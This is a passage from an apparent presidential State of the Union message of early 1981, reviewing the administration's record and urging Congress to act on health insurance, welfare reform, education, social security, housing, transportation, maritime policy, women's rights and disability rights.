unnecessarily kept many disadvantaged citizens from obtaining aid\nfor their most basic needs.Our record has produced clear progress in the effort to solve some of the\ncountry's fundamental human and social problems. My Administration and the\nCongress, working together, have demonstrated that government must and can\nmeet our citizens' basic human and social needs in a responsible and\ncompassionate way.But there is an unfinished agenda still before the Congress. If we are to\nmeet our obligations to help all Americans realize the dreams of sound\nhealth care, decent housing, effective social services, a good education,\nand a meaningful job, important legislation still must be enacted. National\nHealth Insurance, Welfare Reform, Child Health Assessment Program, are\nbefore the Congress and I urge their passage.HEALTH NATIONAL HEALTH PLANDuring my Administration, I proposed to Congress a National Health Plan\nwhich will enable the country to reach the goal of comprehensive, universal\nhealth care coverage. The legislation I submitted lays the foundation for\nthis comprehensive plan and addresses the most serious problems of health\nfinancing and delivery. It is realistic and enactable. It does not\noverpromise or overspend, and, as a result, can be the solution to the\nthirty years of Congressional battles on national health insurance. My Plan\nincludes the following key features:Nearly 15 million additional poor would receive fully-subsidized\ncomprehensive coverage; pre-natal and delivery services are provided for\nall pregnant women and coverage is provided for all acute care for infants\nin their first year of life; the elderly and disabled would have a limit of\n$1,250 placed on annual out-of-pocket medical expenses and would no longer\nface limits on hospital coverage; all full-time employees and their\nfamilies would receive insurance against at least major medical expenses\nunder mandated employer coverage; Medicare and Medicaid would be combined\nand expanded into an umbrella Federal program, Healthcare, for increased\nprogram efficiency, accountability and uniformity; and strong cost\ncontrols and health system reforms would be implemented, including\ngreater incentives for Health Maintenance Organizations.I urge the new Congress to compare my Plan with the alternatives--programs\nwhich either do too little to improve the health care needs of Americans\nmost in need or programs which would impose substantial financial burdens\non the American taxpayers. I hope the Congress will see the need for and\nthe benefits of my Plan and work toward prompt enactment. We cannot afford\nfurther delay in this vital area.HEALTH CARE COST CONTROLInflation in health care costs remains unacceptably high. Throughout my\nAdministration, legislation to reduce health care cost inflation was one of\nmy highest priorities, but was not passed by the Congress. Therefore, my FY\n1982 budget proposes sharing the responsibility for health care cost\ncontrol with the private sector, through voluntary hospital cost guidelines\nand intensified monitoring. In the longer term, the health care\nreimbursement system must be reformed. We must move away from inflationary\ncost-based reimbursement and fee-for-service, and toward a system of\nprospective reimbursement, under which health care providers would operate\nwithin predetermined budgets. This reimbursement reform is essential to\nultimately control inflation in health care costs, and will be a\nsignificant challenge to the new Congress.HEALTH PROMOTION AND DISEASE PREVENTIONDuring my Administration, the Surgeon General released \"Healthy People,\" a\nlandmark report on health promotion and disease prevention. The report\nsignals the growing consensus that the Nation's health strategy must be\nrefocused in the 1980's to emphasize the prevention of disease.\nSpecifically, the report lays out measurable and achieveable goals in the\nreduction of mortality which can be reached by 1990.I urge the new Congress to endorse the principles of \"Healthy People,\" and\nto adopt the recommendations to achieve its goals. This will necessitate\nadoption of a broader concept of health care, to include such areas as\nenvironmental health, workplace health and safety, commercial product\nsafety, traffic safety, and health education, promotion and information.MATERNAL AND CHILD HEALTHEnsuring a healthy start in life for children remains not only a high\npriority of my Administration, but also one of the most cost effective\nforms of health care.When I took office, immunization levels for preventable childhood diseases\nhad fallen to 70%. As a result of a concerted nationwide effort during my\nAdministration, I am pleased to report that now at least 90% of children\nunder 15, and virtually all school-age children are immunized. In addition,\nreported cases of measles and mumps are at their lowest levels ever.Under the National Health Plan I have proposed, there would be no\ncost-sharing for prenatal and delivery services for all pregnant women and\nfor acute care provided to infants in their first year of life. These\npreventive services have extremely high returns in terms of improved\nnewborn and long-term child health.Under the Child Health Assurance Program (CHAP) legislation which I\nsubmitted to the Congress, and which passed the House, an additional two\nmillion low-income children under 18 would become eligible for Medicaid\nbenefits, which would include special health assessments. CHAP would also\nimprove the continuity of care for the nearly 14 million children now\neligible for Medicaid. An additional 100,000 low-income pregnant women\nwould become eligible for prenatal care under the proposal. I strongly urge\nthe new Congress to enact CHAP and thereby provide millions of needy\nchildren with essential health services. The legislation has had strong\nbipartisan support, which should continue as the details of the bill are\ncompleted.I also urge the new Congress to provide strong support for two highly\nsuccessful ongoing programs: the special supplemental food program for\nwomen, infants and children (WIC) and Family Planning. The food supplements\nunder WIC have been shown to effectively prevent ill health and thereby\nreduce later medical costs. The Family Planning program has been effective\nat reducing unwanted pregnancies among low-income women and adolescents.EXPANSION OF SERVICES TO THE POOR AND UNDERSERVEDDuring my Administration, health services to the poor and underserved have\nbeen dramatically increased. The number of National Health Service Corps\n(NHSC) assignees providing services in medically underserved communities\nhas grown from 500 in 1977 to nearly 3,000 in 1981. The population served\nby the NHSC has more than tripled since 1977. The number of Community\nHealth Centers providing services in high priority underserved areas has\ndoubled during my Administration, and will serve an estimated six million\npeople in 1981. I strongly urge the new Congress to support these highly\nsuccessful programs.MENTAL HEALTHOne of the most significant health achievements during my Administration\nwas the recent passage of the Mental Health Systems Act, which grew out of\nrecommendations of my Commission on Mental Health. I join many others in my\ngratitude to the First Lady for her tireless and effective contribution to\nthe passage of this important legislation.The Act is designed to inaugurate a new era of Federal and State\npartnership in the planning and provision of mental health services. In\naddition, the Act specifically provides for prevention and support services\nto the chronically mentally ill to prevent unnecessary institutionalization\nand for the development of community-based mental health services. I urge\nthe new Congress to provide adequate support for the full and timely\nimplementation of this Act.HEALTH PROTECTIONWith my active support, the Congress recently passed \"Medigap\" legislation,\nwhich provides for voluntary certification of health insurance policies\nsupplemental to Medicare, to curb widespread abuses in this area.In the area of toxic agent control, legislation which I submitted to the\nCongress recently passed. This will provide for a \"super-fund\" to cover\nhazardous waste cleanup costs.In the area of accidental injury control, we have established automobile\nsafety standards and increased enforcement activities with respect to the\n55 MPH speed limit. By the end of the decade these actions are expected to\nsave over 13,000 lives and 100,000 serious injuries each year.I urge the new Congress to continue strong support for all these\nactivities.FOOD AND NUTRITIONBuilding on the comprehensive reform of the Food Stamp Program that I\nproposed and Congress passed in 1977, my Administration and the Congress\nworked together in 1979 and 1980 to enact several other important changes\nin the Program. These changes will further simplify administration and\nreduce fraud and error, will make the program more responsive to the needs\nof the elderly and disabled, and will increase the cap on allowable program\nexpenditures. The Food Stamp Act will expire at the end of fiscal 1981. It\nis essential that the new Administration and the Congress continue this\nprogram to ensure complete eradication of the debilitating malnutrition\nwitnessed and documented among thousands of children in the 1960's.DRUG ABUSE PREVENTIONAt the beginning of my Administration there were over a half million heroin\naddicts in the United States. Our continued emphasis on reducing the supply\nof heroin, as well as providing treatment and rehabilitation to its\nvictims, has reduced the heroin addict population, reduced the number of\nheroin overdose deaths by 80%, and reduced the number of heroin related\ninjuries by 50%. We have also seen and encouraged a national movement of\nparents and citizens committed to reversing the very serious and disturbing\ntrends of adolescent drug abuse.Drug abuse in many forms will continue to detract, however, from the\nquality of life of many Americans. To prevent that, I see four great\nchallenges in the years ahead. First, we must deal aggressively with the\nsupplies of illegal drugs at their source, through joint crop destruction\nprograms with foreign nations and increased law enforcement and border\ninterdiction. Second, we must look to citizens and parents across the\ncountry to help educate the increasing numbers of American youth who are\nexperimenting with drugs to the dangers of drug abuse. Education is a key\nfactor in reducing drug abuse. Third, we must focus our efforts on drug and\nalcohol abuse in the workplace for not only does this abuse contribute to\nlow productivity but it also destroys the satisfaction and sense of purpose\nall Americans can gain from the work experience. Fourth, we need a change\nin attitude, from an attitude which condones the casual use of drugs to one\nthat recognizes the appropriate use of drugs for medical purposes and\ncondemns the inappropriate and harmful abuse of drugs. I hope the Congress\nand the new Administration will take action to meet each of these\nchallenges.EDUCATIONThe American people have always recognized that education is one of the\nsoundest investments they can make. The dividends are reflected in every\ndimension of our national life--from the strength of our economy and\nnational security to the vitality of our music, art, and literature. Among\nthe accomplishments that have given me the most satisfaction over the last\nfour years are the contributions that my Administration has been able to\nmake to the well-being of students and educators throughout the country.This Administration has collaborated successfully with the Congress on\nlandmark education legislation. Working with the Congressional leadership,\nmy Administration spotlighted the importance of education by creating a new\nDepartment of Education. The Department has given education a stronger\nvoice at the Federal level, while at the same time reserving the actual\ncontrol and operation of education to states, localities, and private\ninstitutions. The Department has successfully combined nearly 150 Federal\neducation programs into a cohesive, streamlined organization that is more\nresponsive to the needs of educators and students. The Department has made\nstrides to cut red tape and paperwork and thereby to make the flow of\nFederal dollars to school districts and institutions of higher education\nmore efficient. It is crucial that the Department be kept intact and\nstrengthened.Our collaboration with the Congress has resulted in numerous other\nimportant legislative accomplishments for education. A little over two\nyears ago, I signed into law on the same day two major bills--one\nbenefiting elementary and secondary education and the other, postsecondary\neducation. The Education Amendments of 1978 embodied nearly all of my\nAdministration's proposals for improvements in the Elementary and Secondary\nEducation Act, including important new programs to improve students'\nachievement in the basic skills and to aid school districts with\nexceptionally high concentrations of children from low-income families. The\nMiddle Income Student Assistance Act, legislation jointly sponsored by this\nAdministration and the Congressional leadership, expanded eligibility for\nneed-based Basic Educational Opportunity Grants to approximately one-third\nof the students enrolled in post-secondary education and made many more\nstudents eligible for the first time for other types of grants, work-study,\nand loans.Just three and a half months ago, my Administration and the Congress\nsuccessfully concluded over two years of work on a major reauthorization\nbill that further expands benefits to postsecondary education. Reflected in\nthe Education Amendments of 1980 are major Administration recommendations\nfor improvements in the Higher Education Act--including proposals for\nbetter loan access for students; a new parent loan program; simplified\napplication procedures for student financial aid; a strengthened Federal\ncommitment to developing colleges, particularly the historically Black\ninstitutions; a new authorization for equipment and facilities\nmodernization funding for the nation's major research universities; and\nrevitalized international education programs.Supplementing these legislative accomplishments have been important\nadministrative actions aimed at reducing paperwork and simplifying\nregulations associated with Federal education programs. We also launched\nmajor initiatives to reduce the backlog of defaulted student loans and\notherwise to curb fraud, abuse, and waste in education programs.To insure that the education enterprise is ready to meet the scientific and\ntechnological changes of the future, we undertook a major study of the\nstatus of science and engineering education throughout the nation. I hope\nthat the findings from this report will serve as a springboard for needed\nreforms at all levels of education.I am proud that this Administration has been able to provide the financial\nmeans to realize many of our legislative and administrative goals. Compared\nto the previous administration's last budget, I have requested the largest\noverall increase in Federal funding for education in our nation's history.\nMy budget requests have been particularly sensitive to the needs of special\npopulations like minorities, women, the educationally and economically\ndisadvantaged, the handicapped, and students with limited English-speaking\nability. At the same time, I have requested significant increases for many\nprograms designed to enhance the quality of American education, including\nprograms relating to important areas as diverse as international education,\nresearch libraries, museums, and teacher centers.Last year, I proposed to the Congress a major legislative initiative that\nwould direct $2 billion into education and job training programs designed\nto alleviate youth unemployment through improved linkages between the\nschools and the work place. This legislation generated bipartisan support;\nbut unfortunately, action on it was not completed in the final, rushed days\nof the 96th Congress. I urge the new Congress--as it undertakes broad\nefforts to strengthen the economy as well as more specific tasks like\nreauthorizing the Vocational Education Act--to make the needs of our\nnation's unemployed youth a top priority for action. Only by combining a\nbasic skills education program together with work training and employment\nincentives can we make substantial progress in eliminating one of the most\nsevere social problems in our nation--youth unemployment, particularly\namong minorities. I am proud of the progress already made through passage\nof the Youth Employment and Demonstration Project Act of 1977 and the\nsubstantial increase in our investment in youth employment programs. The\nnew legislation would cap these efforts.INCOME SECURITY SOCIAL SECURITYOne of the highest priorities of my Administration has been to continue the\ntradition of effectiveness and efficiency widely associated with the social\nsecurity program, and to assure present and future beneficiaries that they\nwill receive their benefits as expected. The earned benefits that are paid\nmonthly to retired and disabled American workers and their families provide\na significant measure of economic protection to millions of people who\nmight otherwise face retirement or possible disability with fear. I have\nenacted changes to improve the benefits of many social security\nbeneficiaries during my years as President.The last four years have presented a special set of concerns over the\nfinancial stability of the social security system. Shortly after taking\noffice I proposed and Congress enacted legislation to protect the stability\nof the old age and survivors trust fund and prevent the imminent exhaustion\nof the disability insurance trust fund, and to correct a flaw in the\nbenefit formula that was threatening the long run health of the entire\nsocial security system. The actions taken by the Congress at my request\nhelped stabilize the system. That legislation was later complemented by the\nDisability Insurance Amendments of 1980 which further bolstered the\ndisability insurance program, and reduced certain inequities among\nbeneficiaries.My commitment to the essential retirement and disability protection\nprovided to 35 million people each month has been demonstrated by the fact\nthat without interruption those beneficiaries have continued to receive\ntheir social security benefits, including annual cost of living increases.\nChanging and unpredictable economic circumstances require that we continue\nto monitor the financial stability of the social security system. To\ncorrect anticipated short-term strains on the system, I proposed last year\nthat the three funds be allowed to borrow from one another, and I urge the\nCongress again this year to adopt such interfund borrowing. To further\nstrengthen the social security system and provide a greater degree of\nassurance to beneficiaries, given projected future economic uncertainties,\nadditional action should be taken. Among the additional financing options\navailable are borrowing from the general fund, financing half of the\nhospital insurance fund with general revenues, and increasing the payroll\ntax rate. The latter option is particularly unpalatable given the\nsignificant increase in the tax rate already mandated in law.This Administration continues to oppose cuts in basic social security\nbenefits and taxing social security benefits. The Administration continues\nto support annual indexing of social security benefits.WELFARE REFORMIn 1979 I proposed a welfare reform package which offers solutions to some\nof the most urgent problems in our welfare system. This proposal is\nembodied in two bills, The Work and Training Opportunities Act and The\nSocial Welfare Reform Amendments Act. The House passed the second of these\ntwo proposals. Within the framework of our present welfare system, my\nreform proposals offer achievable means to increase self-sufficiency\nthrough work rather than welfare, more adequate assistance to people unable\nto work, the removal of inequities in coverage under current programs, and\nfiscal relief needed by States and localities.Our current welfare system is long overdue for serious reform; the system\nis wasteful and not fully effective. The legislation I have proposed will\nhelp eliminate inequities by establishing a national minimum benefit, and\nby directly relating benefit levels to the poverty threshold. It will\nreduce program complexity, which leads to inefficiency and waste, by\nsimplifying and coordinating administration among different programs.I urge the Congress to take action in this area along the lines I have\nrecommended.CHILD WELFAREMy Administration has worked closely with the Congress on legislation which\nis designed to improve greatly the child welfare services and foster care\nprograms and to create a Federal system of adoption assistance. These\nimprovements will be achieved with the recent enactment of H.R. 3434, the\nAdoption Assistance and Child Welfare Act of 1980. The well-being of\nchildren in need of homes and their permanent placement have been a primary\nconcern of my Administration. This legislation will ensure that children\nare not lost in the foster care system, but instead will be returned to\ntheir families where possible or placed in permanent adoptive homes.LOW-INCOME ENERGY ASSISTANCEIn 1979 I proposed a program to provide an annual total of $1.6 billion to\nlow-income households which are hardest hit by rising energy bills. With\nthe cooperation of Congress, we were able to move quickly to provide\nassistance to eligible households in time to meet their winter heating\nbills.In response to the extreme heat conditions affecting many parts of the\ncountry during 1980, I directed the Community Services Administration to\nmake available over $27 million to assist low-income individuals,\nespecially the elderly, facing life threatening circumstances due to\nextreme heat.Congress amended and reauthorized the low-income energy assistance program\nfor fiscal year 1981, and provided $1.85 billion to meet anticipated\nincreasing need. The need for a program to help low-income households with\nrising energy expenses will not abate in the near future. The low-income\nenergy assistance program should be reauthorized to meet those needs.HOUSINGFor the past 14 months, high interest rates have had a severe impact on the\nnation's housing market. Yet the current pressures and uncertainties should\nnot obscure the achievements of the past four years.Working with the Congress, the regulatory agencies, and the financial\ncommunity, my Administration has brought about an expanded and steadier\nflow of funds into home mortgages. Deregulation of the interest rates\npayable by depository institutions, the evolution of variable and\nrenegotiated rate mortgages, development of high yielding savings\ncertificates, and expansion of the secondary mortgage market have all\nincreased housing's ability to attract capital and have assured that\nmortgage money would not be cut off when interest rates rose. These actions\nwill diminish the cyclicality of the housing industry. Further, we have\nsecured legislation updating the Federal Government's emergency authority\nto provide support for the housing industry through the Brooke-Cranston\nprogram, and creating a new Section 235 housing stimulus program. These\ntools will enable the Federal Government to deal quickly and effectively\nwith serious distress in this critical industry.We have also worked to expand homeownership opportunities for Americans. By\nusing innovative financing mechanisms, such as the graduated payment\nmortgage, we have increased the access of middle income families to housing\ncredit. By revitalizing the Section 235 program, we have enabled nearly\n100,000 moderate income households to purchase new homes. By reducing\npaperwork and regulation in Federal programs, and by working with State and\nlocal governments to ease the regulatory burden, we have helped to hold\ndown housing costs and produce affordable housing.As a result of these governmentwide efforts, 5 1/2 million more American\nfamilies bought homes in the past four years than in any equivalent period\nin history. And more than 7 million homes have begun construction during my\nAdministration, 1 million more than in the previous four years.We have devoted particular effort to meeting the housing needs of low and\nmoderate income families. In the past four years, more than 1 million\nsubsidized units have been made available for occupancy by lower income\nAmericans and more than 600,000 assisted units have gone into construction.\nIn addition, we have undertaken a series of measures to revitalize and\npreserve the nation's 2 million units of public and assisted housing.For Fiscal Year 1982, I am proposing to continue our commitment to lower\nincome housing. I am requesting funds to support 260,000 units of Section 8\nand public housing, maintaining these programs at the level provided by\nCongress in Fiscal 1981.While we have made progress in the past four years, in the future there are\nreasons for concern. Home price inflation and high interest rates threaten\nto put homeownership out of reach for first-time homebuyers. Lower income\nhouseholds, the elderly and those dependent upon rental housing face rising\nrents, low levels of rental housing construction by historic standards, and\nthe threat of displacement due to conversion to condominiums and other\nfactors. Housing will face strong competition for investment capital from\nthe industrial sector generally and the energy industries, in particular.To address these issues, I appointed a Presidential Task Force and Advisory\nGroup last October. While this effort will not proceed due to the election\nresult, I hope the incoming Administration will proceed with a similar\nventure.The most important action government can take to meet America's housing\nneeds is to restore stability to the economy and bring down the rate of\ninflation. Inflation has driven up home prices, operating costs and\ninterest rates. Market uncertainty about inflation has contributed to the\ninstability in interest rates, which has been an added burden to\nhomebuilders and homebuyers alike. By making a long-term commitment to\nprovide a framework for greater investment, sustained economic growth, and\nprice stability, my Administration has begun the work of creating a healthy\nenvironment for housing.TRANSPORTATIONWith the passage of the Airline Deregulation Act of 1978, the Motor Carrier\nAct of 1980, and the Harley O. Staggers Rail Act of 1980, my\nAdministration, working with the Congress, has initiated a new era of\nreduced regulation of transportation industries. Deregulation will lead to\nincreased productivity and operating efficiencies in the industries\ninvolved, and stimulate price and service competition, to the benefit of\nconsumers generally. I urge the new Administration to continue our efforts\non behalf of deregulation legislation for the intercity passenger bus\nindustry as well.In the coming decade, the most significant challenge facing the nation in\ntransportation services will be to improve a deteriorating physical\ninfrastructure of roadways, railroads, waterways and mass transit systems,\nin order to conserve costly energy supplies while promoting effective\ntransportation services.HIGHWAYSOur vast network of highways, which account for 90 percent of travel and 80\npercent by value of freight traffic goods movement, is deteriorating. If\ncurrent trends continue, a major proportion of the Interstate pavement will\nhave deteriorated by the end of the 1980's.Arresting the deterioration of the nation's system of highways is a high\npriority objective for the 1980's. We must reorient the Federal mission\nfrom major new construction projects to the stewardship of the existing\nInterstate Highway System. Interstate gaps should be judged on the\nconnections they make and on their compatibility with community needs.During this decade, highway investments will be needed to increase\nproductivity, particularly in the elimination of bottlenecks, provide more\nefficient connections to ports and seek low-cost solutions to traffic\ndemand.My Administration has therefore recommended redefining completion of the\nInterstate system, consolidating over 27 categorical assistance programs\ninto nine, and initiating a major repair and rehabilitation program for\nsegments of the Interstate system. This effort should help maintain the\ncondition and performance of the Nation's highways, particularly the\nInterstate and primary system; provide a realistic means to complete the\nInterstate system by 1990; ensure better program delivery through\nconsolidation, and assist urban revitalization. In addition, the Congress\nmust address the urgent funding problems of the highway trust fund, and the\nneed to generate greater revenues.MASS TRANSITIn the past decade the nation's public transit systems' ridership increased\nat an annual average of 1.1% each year in the 1970's (6.9% in 1979).\nContinued increases in the cost of fuel are expected to make transit a\ngrowing part of the nation's transportation system.As a result, my Administration projected a ten year, $43 billion program to\nincrease mass transit capacity by 50 percent, and promote more energy\nefficient vehicle uses in the next decade. The first part of this proposal\nwas the five year, $24.7 billion Urban Mass Transportation Administration\nreauthorization legislation I sent to the Congress in March, 1980. I urge\nthe 97th Congress to quickly enact this or similar legislation in 1981.My Administration was also the first to have proposed and signed into law a\nnon-urban formula grant program to assist rural areas and small communities\nwith public transportation programs to end their dependence on the\nautomobile, promote energy conservation and efficiency, and provide\ntransportation services to impoverished rural communities.A principal need of the 1980's will be maintaining mobility for all\nsegments of the population in the face of severely increasing\ntransportation costs and uncertainty of fuel supplies. We must improve the\nflexibility of our transportation system and offer greater choice and\ndiversity in transportation services. While the private automobile will\ncontinue to be the principal means of transportation for many Americans,\npublic transportation can become an increasingly attractive alternative.\nWe, therefore, want to explore a variety of paratransit modes, various\ntypes of buses, modern rapid transit, regional rail systems and light rail\nsystems.Highway planning and transit planning must be integrated and related to\nState, regional, district and neighborhood planning efforts now in place or\nemerging. Low density development and land use threaten the fiscal capacity\nof many communities to support needed services and infrastructure.ELDERLY AND HANDICAPPED TRANSPORTATIONTransportation policies in the 1980's must pay increasing attention to the\nneeds of the elderly and handicapped. By 1990, the number of people over 65\nwill have grown from today's 19 million to 27 million. During the same\nperiod, the number of handicapped--people who have difficulty using\ntransit as well as autos, including the elderly--is expected to increase\nfrom 9 to 11 million, making up 4.5 percent of the population.We must not retreat from a policy that affords a significant and growing\nportion of our population accessible public transportation while\nrecognizing that the handicapped are a diverse group and will need\nflexible, door-to-door service where regular public transportation will not\ndo the job.RAILROADSIn addition, the Federal government must reassess the appropriate Federal\nrole of support for passenger and freight rail services such as Amtrak and\nConrail. Our goal through federal assistance should be to maintain and\nenhance adequate rail service, where it is not otherwise available to needy\ncommunities. But Federal subsidies must be closely scrutinized to be sure\nthey are a stimulus to, and not a replacement for, private investment and\ninitiative. Federal assistance cannot mean permanent subsidies for\nunprofitable operations.WATERWAYS AND RURAL TRANSPORTATIONThere is a growing need in rural and small communities for improved\ntransportation services. Rail freight service to many communities has\ndeclined as railroads abandon unproductive branch lines. At the same time,\nrural roads are often inadequate to handle large, heavily-loaded trucks.\nThe increased demand for \"harvest to harbor\" service has also placed an\nincreased burden on rural transportation systems, while bottlenecks along\nthe Mississippi River delay grain shipments to the Gulf of Mexico.We have made some progress:--To further develop the nation's waterways, my Administration began\nconstruction of a new 1,200 foot lock at the site of Lock and Dam 26 on the\nMississippi River. When opened in 1987, the new lock will have a capacity\nof 86 million tons per year, an 18 percent increase over the present\nsystem. The U.S. Army Corps of Engineers has also undertaken studies to\nassess the feasibility of expanding the Bonneville Locks. Rehabilitation of\nJohn Day Lock was begun in 1980 and should be completed in 1982. My\nAdministration also supports the completion of the Upper Mississippi River\nMaster Plan to determine the feasibility of constructing a second lock at\nAlton, Illinois. These efforts will help alleviate delays in transporting\ncorn, soybeans and other goods along the Mississippi River to the Gulf of\nMexico.--The Department of Transportation's new Small Community and Rural\nTransportation Policy will target federal assistance for passenger\ntransportation, roads and highways, truck service, and railroad freight\nservice to rural areas. This policy implements and expands upon the earlier\nWhite House Initiative, \"Improving Transportation in Rural America,\"\nannounced in June, 1979, and the President's \"Small Community and Rural\nDevelopment Policy\" announced in December, 1979. The Congress should seek\nways to balance rail branch line abandonment with the service needs of\nrural and farm communities, provide financial assistance to rail branch\nline rehabilitation where appropriate, assist shippers to adjust to rail\nbranch line abandonment where it takes place, and help make it possible for\ntrucking firms to serve light density markets with dependable and efficient\ntrucking services.MARITIME POLICYDuring my Administration I have sought to ensure that the U.S. maritime\nindustry will not have to function at an unfair competitive disadvantage in\nthe international market. As I indicated in my maritime policy statement to\nthe Congress in July, 1979, the American merchant marine is vital to our\nNation's welfare, and Federal actions should promote rather than harm it.\nIn pursuit of this objective, I signed into law the Controlled Carrier Act\nof 1978, authorizing the Federal Maritime Commission to regulate certain\nrate cutting practices of some state-controlled carriers, and recently\nsigned a bilateral maritime agreement with the People's Republic of China\nthat will expand the access of American ships to 20 specified Chinese\nports, and set aside for American-flag ships a substantial share (at least\none-third) of the cargo between our countries. This agreement should\nofficially foster expanded U.S. and Chinese shipping services linking the\ntwo countries, and will provide further momentum to the growth of\nSino-American trade.There is also a need to modernize and expand the dry bulk segment of our\nfleet. Our heavy dependence on foreign carriage of U.S.-bulk cargoes\ndeprives the U.S. economy of seafaring and shipbuilding jobs, adds to the\nbalance-of-payments deficit, deprives the Government of substantial tax\nrevenues, and leaves the United States dependent on foreign-flag shipping\nfor a continued supply of raw materials to support the civil economy and\nwar production in time of war.I therefore sent to the Congress proposed legislation to strengthen this\nwoefully weak segment of the U.S.-flag fleet by removing certain\ndisincentives to U.S. construction of dry bulkers and their operation under\nU.S. registry. Enactment of this proposed legislation would establish the\nbasis for accelerating the rebuilding of the U.S.-flag dry bulk fleet\ntoward a level commensurate with the position of the United States as the\nworld's leading bulk trading country.During the past year the Administration has stated its support for\nlegislation that would provide specific Federal assistance for the\ninstallation of fuel-efficient engines in existing American ships, and\nwould strengthen this country's shipbuilding mobilization base.\nStrengthening the fleet is important, but we must also maintain our\nshipbuilding base for future ship construction.Provisions in existing laws calling for substantial or exclusive use of\nAmerican-flag vessels to carry cargoes generated by the Government must be\nvigorously pursued.I have therefore supported requirements that 50 percent of oil purchased\nfor the strategic petroleum reserve be transported in U.S.-flag vessels,\nthat the Cargo Preference Act be applied to materials furnished for the\nU.S. assisted construction of air bases in Israel, and to cargoes\ntransported pursuant to the Chrysler Corporation Loan Guarantee Act. In\naddition, the deep Seabed Hard Mineral Resources Act requires that at least\none ore carrier per mine site be a U.S.-flag vessel.Much has been done, and much remains to be done. The FY 1982 budget\nincludes a $107 million authorization for Construction Differential Subsidy\n(\"CDS\") funds which, added to the unobligated CDS balance of $100 million\nfrom 1980, and the recently enacted $135 million 1981 authorization, will\nprovide an average of $171 million in CDS funds in 1981 and 1982.COAL EXPORT POLICYWhile significant growth in foreign demand for U.S. steam coal is foreseen,\ncongestion at major U.S. coal exporting ports such as Hampton Roads,\nVirginia, and Baltimore, Maryland, could delay and impede exports.My Administration has worked through the Interagency Coal Task Force Study,\nwhich I created, to promote cooperation and coordination of resources\nbetween shippers, railroads, vessel broker/ operators and port operators,\nand to determine the most appropriate Federal role in expanding and\nmodernizing coal export facilities, including dredging deeper channels at\nselected ports.Some progress has already been made. In addition to action taken by\ntransshippers to reduce the number of coal classifications used whenever\npossible, by the Norfolk and Western Railroad to upgrade its computer\ncapability to quickly inventory its coal cars in its yards, and by the\nChessie Railroad which is reactivating Pier 15 in Newport News and has\nestablished a berth near its Curtis Bay Pier in Baltimore to decrease\ndelays in vessel berthing, public activities will include:--A $26.5 million plan developed by the State of Pennsylvania and Conrail\nto increase Conrail's coal handling capacity at Philadelphia;--A proposal by the State of Virginia to construct a steam coal port on\nthe Craney Island Disposal area in Portsmouth harbor;--Plans by Mobile, Alabama, which operates the only publicly owned coal\nterminal in the U.S. to enlarge its capacity at McDuffie Island to 10\nmillion tons ground storage and 100 car unit train unloading capability;--Development at New Orleans of steam coal facilities that are expected to\nadd over 20 million tons of annual capacity by 1983; and--The Corps of Engineers, working with other interested Federal agencies,\nwill determine which ports should be dredged, to what depth and on what\nschedule, in order to accommodate larger coal carrying vessels.Private industry will, of course, play a major role in developing the\nUnited States' coal export facilities. The new Administration should\ncontinue to work to eliminate transportation bottlenecks that impede our\naccess to foreign markets.Special NeedsWOMENThe past four years have been years of rapid advancement for women. Our\nfocus has been two-fold: to provide American women with a full range of\nopportunities and to make them a part of the mainstream of every aspect of\nour national life and leadership.I have appointed a record number of women to judgeships and to top\ngovernment posts. Fully 22 percent of all my appointees are women, and I\nnominated 41 of the 46 women who sit on the Federal bench today. For the\nfirst time in our history, women occupy policymaking positions at the\nhighest level of every Federal agency and department and have demonstrated\ntheir ability to serve our citizens well.We have strengthened the rights of employed women by consolidating and\nstrengthening enforcement of sex discrimination laws under the EEOC, by\nexpanding employment rights of pregnant women through the Pregnancy\nDisability Bill, and by increasing federal employment opportunities for\nwomen through civil service reform, and flexi-time and part-time\nemployment.By executive order, I created the first national program to provide women\nbusinessowners with technical assistance, grants, loans, and improved\naccess to federal contracts.We have been sensitive to the needs of women who are homemakers. I\nestablished an Office of Families within HHS and sponsored the White House\nConference on Families. We initiated a program targeting CETA funds to help\ndisplaced homemakers. The Social Security system was amended to eliminate\nthe widow's penalty and a comprehensive study of discriminatory provisions\nand possible changes was presented to Congress. Legislation was passed to\ngive divorced spouses of foreign service officers rights to share in\npension benefits.We created an office on domestic violence within HHS to coordinate the 12\nagencies that now have domestic violence relief programs, and to distribute\ninformation on the problem and the services available to victims.Despite a stringent budget for FY 1981, the Administration consistently\nsupported the Women's Educational Equity Act and family planning\nactivities, as well as other programs that affect women, such as food\nstamps, WIC, and social security.We have been concerned not only about the American woman's opportunities,\nbut ensuring equality for women around the world. In November, 1980, I sent\nto the Senate the Convention on the Elimination of All Forms of\nDiscrimination Against Women. This United Nations document is the most\ncomprehensive and detailed international agreement which seeks the\nadvancement of women.On women's issues, I have sought the counsel of men and women in and out of\ngovernment and from all regions of our country. I established two panels--\nthe President's Advisory Committee for Women and the Interdepartmental Task\nForce on Women--to advise me on these issues. The mandate for both groups\nexpired on December 31, but they have left behind a comprehensive review of\nthe status of women in our society today. That review provides excellent\nguidance for the work remaining in our battle against sex discrimination.Even though we have made progress, much remains on the agenda for women. I\nremain committed to the Equal Rights Amendment and will continue to work\nfor its passage. It is essential to the goal of bringing America's women\nfully into the mainstream of American life that the ERA be ratified.The efforts begun for women in employment, business and education should be\ncontinued and strengthened. Money should be available to states to\nestablish programs to help the victims of domestic violence. Congress\nshould pass a national health care plan and a welfare reform program, and\nthese measures should reflect the needs of women.The talents of women should continue to be used to the fullest inside and\noutside of government, and efforts should continue to see that they have\nthe widest range of opportunities and options.HANDICAPPEDI hope that my Administration will be remembered in this area for leading\nthe way toward full civil rights for handicapped Americans. When I took\noffice, no federal agency had yet issued 504 regulations. As I leave\noffice, this first step by every major agency and department in the federal\ngovernment is almost complete. But it is only a first step. The years ahead\nwill require steadfast dedication by the President to protect and promote\nthese precious rights in the classroom, in the workplace, and in all public\nfacilities so that handicapped individuals may join the American mainstream\nand contribute to the fullest their resources and talents to our economic\nand social life.Just as we supported, in an unprecedented way, the civil rights of disabled\npersons in schools and in the workplace, other initiatives in health\nprevention, such as our immunization and nutrition programs for young\nchildren and new intense efforts to reverse spinal cord injury, must\ncontinue so that the incidence of disability continues to decline.This year is the U.N.-declared International Year of Disabled Persons. We\nare organizing activities to celebrate and promote this important\ncommemorative year within the government as well as in cooperation with\nprivate sector efforts in this country and around the world. The\nInternational Year will give our country the opportunity to recognize the\ntalents and capabilities of our fellow citizens with disabilities. We can\nalso share our rehabilitation and treatment skills with other countries and\nlearn from them as well. I am proud that the United States leads the world\nin mainstreaming and treating disabled people. However, we have a long way\nto go before all psychological and physical barriers to disabled people are\ntorn down and they can be full participants in our American way of life. We\nmust pledge our full commitment to 